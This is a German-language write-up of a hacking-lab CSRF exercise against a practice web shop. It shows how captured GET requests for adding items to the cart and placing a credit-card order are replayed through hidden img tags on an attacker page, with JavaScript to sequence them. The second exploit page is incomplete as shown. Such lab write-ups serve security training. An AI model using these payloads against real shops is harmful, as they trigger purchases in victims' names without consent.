2651 Cross Site Request Forgery
Analyse
- Requests mit eingeloggtem User per ZAP Proxy abfangen
- Das Hinzufügen zum Warenkorb geschieht mit GET und Query-Parameter
GET http://glocken.hacking-lab.com/12001/cookie_case0/cookie0/controller?action=addproduct&productId=2&quantity=10&Submit=Order
- Beim Absenden der Bestellung wird ein GET auf
http://glocken.hacking-lab.com/12001/cookie_case0/cookie0/controller?action=executeCreditCardOrder
ausgeführt
Exploit
Auf der Landing Page erstellen wir eine HTML-Seite, damit der Browser per <img>
-Tag die beiden GET-Requests ausführt
<html> <body> <img src="http://glocken.hacking-lab.com/12001/cookie_case0/cookie0/controller?action=addproduct&productId=2&quantity=20&Submit=Order" height="1" width="1"/> <img src="http://glocken.hacking-lab.com/12001/cookie_case0/cookie0/controller?action=executeCreditCardOrder" height="1" width="1"/> </body> </html>
- Dies funktioniert aber nicht richtig, da die beiden Bilder parallel geladen werden. Zuerst muss der erste Request abgeschlossen sein, bis der zweite beginnen kann
<html> <head> <script type="text/javascript"> var loadSecond = function() { document.location="order.html"; } var img = document.images[0]; img.addEventListener("load", loadSecond, false); </script> </head> <body> <img src="http://glocken.hacking-lab.com/12001/cookie_case0/cookie0/controller?action=addproduct&productId=2&quantity=20&Submit=Order" height="1" width="1"/> <img src="http://glocken.hacking-lab.com/12001/cookie_case0/cookie0/controller?action=executeCreditCardOrder" height="1" width="1"/> </body>